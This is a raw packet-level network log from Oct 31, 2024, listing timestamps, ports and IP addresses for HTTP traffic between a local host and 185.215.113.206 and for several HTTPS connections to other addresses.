Oct 31, 2024 01:18:52.236938953 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.236948967 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.236951113 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.236959934 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.236987114 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.237027884 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.237070084 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237081051 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237092018 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237108946 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237119913 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237119913 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.237132072 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237149954 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.237150908 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237159967 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237174034 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.237196922 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.237240076 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237302065 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.237303019 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237319946 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237329960 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237340927 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237346888 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237354040 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237355947 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.237359047 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237413883 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.237441063 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237452030 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237463951 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237482071 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237488031 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.237493992 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237503052 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.237529993 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.237540960 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237551928 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237586975 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.237607002 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237620115 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237629890 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237641096 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237651110 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.237652063 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237675905 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.237685919 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237687111 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.237696886 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237709045 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237711906 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.237720966 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237731934 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.237762928 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.237778902 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237791061 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237828016 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.237835884 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237848043 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237859011 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237869978 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.237896919 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.237978935 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237989902 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.237999916 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.238010883 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.238022089 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.238028049 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.238032103 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.238043070 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.238050938 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.238058090 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.238061905 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.238074064 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.238082886 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.238082886 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.238095045 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.238105059 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.238111019 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.238116026 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.238121986 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.238127947 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.238136053 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.238156080 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.238266945 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.238351107 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.238375902 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.238388062 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.238398075 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.238431931 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.238440037 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.238450050 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.238451004 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.238462925 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.238471985 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.238478899 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.238487959 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.238518000 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.239388943 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239401102 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239413023 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239448071 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.239471912 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.239545107 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239561081 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239572048 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239582062 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239597082 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239613056 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.239613056 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.239614964 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239626884 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239628077 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.239636898 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239648104 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239658117 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.239659071 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239666939 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.239676952 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239687920 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239695072 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.239698887 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239708900 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239720106 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239723921 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.239731073 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239746094 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.239751101 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239758968 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.239764929 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239775896 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239785910 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239795923 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239809036 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239820004 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239830017 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239840984 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239840984 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.239840984 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.239840984 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.239851952 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239864111 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239876032 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.239897013 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.239897013 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.239897013 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.239911079 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.240446091 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.240458012 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.240468025 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.240478992 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.240489960 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.240498066 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.240506887 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.240509033 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.240520000 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.240530014 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.240539074 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.240550041 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.240556002 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.240560055 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.240571976 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.240578890 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.240582943 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.240593910 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.240597010 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.240606070 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.240618944 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.240618944 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.240629911 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.240643978 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.240662098 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.240681887 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.342087030 CET	443	49986	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:52.342719078 CET	49986	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:52.342767000 CET	443	49986	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:52.343590021 CET	49986	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:52.343601942 CET	443	49986	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:52.343631983 CET	49986	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:52.343643904 CET	443	49986	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:52.356790066 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.356808901 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.356818914 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.356831074 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.356848955 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.356853008 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.356864929 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.356882095 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.356914043 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.361534119 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.361552954 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.361563921 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.361576080 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.361587048 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.361598969 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.361634970 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.366210938 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.366264105 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.413712025 CET	443	49988	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:52.414015055 CET	49988	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:52.414040089 CET	443	49988	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:52.414747953 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.415019989 CET	443	49988	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:52.415076017 CET	49988	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:52.415410042 CET	49988	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:52.415469885 CET	443	49988	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:52.415622950 CET	49988	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:52.415640116 CET	443	49988	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:52.420839071 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.455095053 CET	49988	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:52.523736000 CET	443	49990	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.524377108 CET	49990	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:52.524398088 CET	443	49990	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.524976969 CET	49990	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:52.524981976 CET	443	49990	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.526448965 CET	443	49989	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.526810884 CET	49989	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:52.526833057 CET	443	49989	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.527280092 CET	49989	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:52.527283907 CET	443	49989	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.549324989 CET	443	49988	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:52.549350023 CET	443	49988	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:52.549397945 CET	49988	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:52.549417019 CET	443	49988	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:52.549453020 CET	49988	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:52.549906969 CET	443	49988	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:52.549952984 CET	443	49988	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:52.549997091 CET	49988	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:52.550834894 CET	443	49987	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.553153992 CET	443	49991	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.561072111 CET	49987	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:52.561094999 CET	443	49987	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.561995983 CET	49987	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:52.562000036 CET	443	49987	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.568186998 CET	49991	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:52.568208933 CET	443	49991	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.570269108 CET	49991	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:52.570277929 CET	443	49991	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.580107927 CET	49988	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:52.580136061 CET	443	49988	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:52.589561939 CET	49993	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:52.589591980 CET	443	49993	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:52.589657068 CET	49993	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:52.589931965 CET	49993	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:52.589946985 CET	443	49993	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:52.650316954 CET	443	49990	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.650409937 CET	443	49992	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.650605917 CET	443	49990	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.650688887 CET	49990	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:52.650768042 CET	49990	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:52.650778055 CET	443	49990	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.650788069 CET	49990	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:52.650793076 CET	443	49990	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.652631998 CET	49992	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:52.652648926 CET	443	49992	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.653206110 CET	49992	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:52.653211117 CET	443	49992	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.655160904 CET	49994	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:52.655172110 CET	443	49994	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.655237913 CET	49994	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:52.655467033 CET	49994	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:52.655477047 CET	443	49994	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.656277895 CET	443	49989	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.656308889 CET	443	49989	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.656344891 CET	443	49989	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.656361103 CET	49989	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:52.656399965 CET	49989	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:52.656553984 CET	49989	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:52.656553984 CET	49989	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:52.656562090 CET	443	49989	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.656570911 CET	443	49989	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.658926010 CET	49995	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:52.658935070 CET	443	49995	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.658993006 CET	49995	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:52.659100056 CET	49995	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:52.659115076 CET	443	49995	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.694040060 CET	443	49987	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.694093943 CET	443	49987	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.694202900 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.694235086 CET	49987	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:52.694256067 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.694266081 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.694267035 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.694303036 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.694329977 CET	49987	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:52.694333076 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.694339991 CET	443	49987	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:52.694348097 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.694360971 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.694371939 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.694380999 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.694389105 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.694397926 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.694400072 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.694437027 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.694489002 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.694499969 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.694515944 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.694525003 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.694529057 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.694539070 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.694552898 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.694554090 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.694566011 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.694577932 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.694597960 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.694624901 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.695064068 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.695127964 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.695236921 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.695249081 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.695266962 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.695276976 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.695280075 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.695287943 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.695298910 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.695307970 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.695321083 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.695324898 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.695337057 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.695341110 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.695355892 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.695359945 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.695372105 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.695378065 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.695400953 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.695432901 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.695672989 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.695683956 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.695702076 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.695728064 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.695728064 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.695728064 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.695740938 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.695755959 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.695766926 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.695770025 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.695782900 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.695791960 CET	49962	80	192.168.2.5	185.215.113.206
